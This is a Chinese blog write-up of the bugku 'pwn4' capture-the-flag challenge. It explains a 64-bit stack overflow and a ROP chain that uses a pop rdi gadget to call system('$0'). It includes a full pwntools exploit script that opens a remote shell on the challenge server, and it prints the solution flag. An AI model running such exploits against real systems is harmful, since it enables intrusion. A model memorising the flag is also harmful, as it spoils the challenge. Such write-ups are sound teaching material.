bugku pwn4 学习_欢迎来到神林的博客-程序员宅基地_bugku pwn4

技术标签: python  CTF  二进制  

2019-08-25 bugku pwn4 学习

1.拿到题目先file 一下文件看看文件属性
bkp4-1.PNG

查看得知是64位动态链接库的文件。
2.checksec 查看是否开启什么保护
bkp4-2.PNG
然而并没有什么保护
PIE 保护指定是对代码段进行保护
3.IDA查看内容
bkp4-3.PNG

看到了敏感函数system,看着想办法跳转
4.查看main函数,有栈溢出的敏感函数 read
bkp4-4.PNG

想办法利用read 函数
5.查看read函数栈中内容
bkp4-5.PNG

完全能够进行溢出
6.由于system中没有’bin/sh’所以并不能直接跳转,这里找找巧看到了’$0’

bkp4-8.PNG

bkp4-6.PNGbkp4-7.PNG

因为在某些人的linux 中’$0’长长被用于bash的环境变量,也就是说:

system("$0")  == system('bin/sh')

所以我们可以构造system(“bin/sh”)来进行系统调用。但是由于我们只能调用一次所以我们可以使用rdi和ret 跳转进行
注意:32位利用栈传参,64位利用寄存器传参,rdi,rsi,rdx,rcx,r8,r9,六个寄存器进行传参,所以通过跳转 pop rdi;ret 来进行传参 最后传入system函数地址进行跳转
所以可以构建payload,地址一定需要找正确:

from pwn import *
ip = "114.116.54.89"
port = 10004
p=remote(ip,port)
#p = process("./pwn4")
def debug():
    gdb.attach(p)
    raw_input("debug")
elf = ELF("./pwn4")
context.log_level = 'debug'
pop_rdi = 0x00000000004007d3 
payload = 'A' * (0x10+8) + p64(pop_rdi) + p64(0x60111f) +p64(elf.plt["system"])  
p.recv()
p.sendline(payload)
p.interactive()

执行命令:
bkp4-9.PNG

可以直接拿到flag:

flag{264bc50112318cd6e1a67b0724d6d3af}

?:这是题目的第一个解题方法,第二个方法可以使用 puts泄露libc函数地址,在libc中找到’bin/sh’的偏移量,就可以进行调用,这个方法由于栈只有0x10大小所以就放弃了,因为栈中读不进去。

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_41079177/article/details/100106263

智能推荐

随便推点